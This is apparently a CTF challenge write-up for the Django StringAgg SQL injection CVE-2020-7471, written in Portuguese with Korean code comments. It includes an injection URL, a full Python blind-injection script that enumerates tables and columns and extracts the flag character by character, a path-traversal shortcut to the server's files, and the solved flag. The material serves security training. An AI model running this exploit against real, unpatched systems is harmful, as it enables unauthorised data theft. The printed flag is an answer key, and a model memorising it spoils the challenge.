tempuss/ctf_cve-2020-7471Desafio CTF explorando CVE-2020-7471, uma vulnerabilidade de injeção SQL no Django na função StringAgg do PostgreSQL, com um passo a passo completo e script de exploração.
Normalmente, os Web Hackers estudam principalmente SQL Injection no mysql, então criei este problema usando postgresql para que pudessem experimentar ataques a diferentes bancos de dados.
Como a vulnerabilidade ocorreu em um serviço Django, para dar uma dica sobre isso, adicionamos um cabeçalho personalizado chamado Version na resposta HTTP, indicando as versões do Django e Postgres. Ao pesquisar a vulnerabilidade de SQL Injection na versão Django 3.0.1, existem códigos PoC públicos, etc.
Ao acessar o site, a lista de postagens é exibida.
Ao clicar no número à esquerda, a postagem é consultada com base no pk e no valor de content da postagem.
Código real do backend
results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
custom_field=StringAgg('content', delimiter=content)).all()
É uma função que concatena strings com um delimitador através da função StringAgg, mas não há validação de entrada para o valor de entrada, então é possível inserir um payload de injeção na parte do content.
http:///vul/1/?content=-\\\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --
Path Traversal. Ao acessar a URL http://118.67.135.137/static../, todos os arquivos do servidor ficam acessíveis, permitindo ler o arquivo dump de backup e obter a flag.CVE-2020-7471
Problema que utiliza a vulnerabilidade de SQL Injection CVE-2020-7471 encontrada nas versões Django 1.11, 2.2 e 3.0.x ≤ 3.0.2
Vulnerabilidade causada pela verificação insuficiente dos argumentos no código relacionado à função StringAgg entre as funções do PostgreSQL
import requests
server = "http://118.67.135.137/post/"
id = 1
content_param = f"/?content="
content = "IS_FREE!"
def exists_check(content):
"""응답값 체크용 함수"""
if "title" in str(content):
return True
else:
return False
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Host": "127.0.0.1:8000",
"Pragma": "no-cache",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}
def get_table_info_from_information_schema():
# table 개수 조회
table_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
table_count = table_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_count = table_count - 1
table_count_get = True
# table list 추출
table_row_list = []
# public table 개수 만큼 loop
for table_row in range(0,table_count):
# table 명 길이 조회
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
# table 이름 사이즈 만큼 루프
table_name = ""
for i in range(0,table_name_size):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_name = table_name+str(chr(ascii))
break
table_row_list.append(table_name)
print(table_row_list)
def get_column_info_from_information_schema():
vul_flag_column_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
#time.sleep(1)
vul_flag_column_count = vul_flag_column_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
vul_flag_column_count = vul_flag_column_count - 1
table_count_get = True
column_name_list = []
for i in range(0,vul_flag_column_count):
# table 명 길이 조회
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
#vul_flag table column 이름 조회
column_name = ""
for j in range(1,table_name_size+1):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
column_name = column_name+str(chr(ascii))
break
column_name_list.append(column_name)
print(column_name_list)
def get_flag_from_flag_table():
for flag_length in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
flag = ""
for j in range(1,flag_length+1):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
flag = flag+str(chr(ascii))
break
print(flag)
#Information Schema에서 테이블 정보 추출
#get_table_info_from_information_schema()
#테이블명 알아냈으니 information_schema에서 column 정보 추출
#get_column_info_from_information_schema()
#column정보 기반으로 flag 값 추출
get_flag_from_flag_table()
D033Y_!S_L0N3LY
make build
make up
Poc CVE-2020-7471 Django Security Django Offical Document Django Release History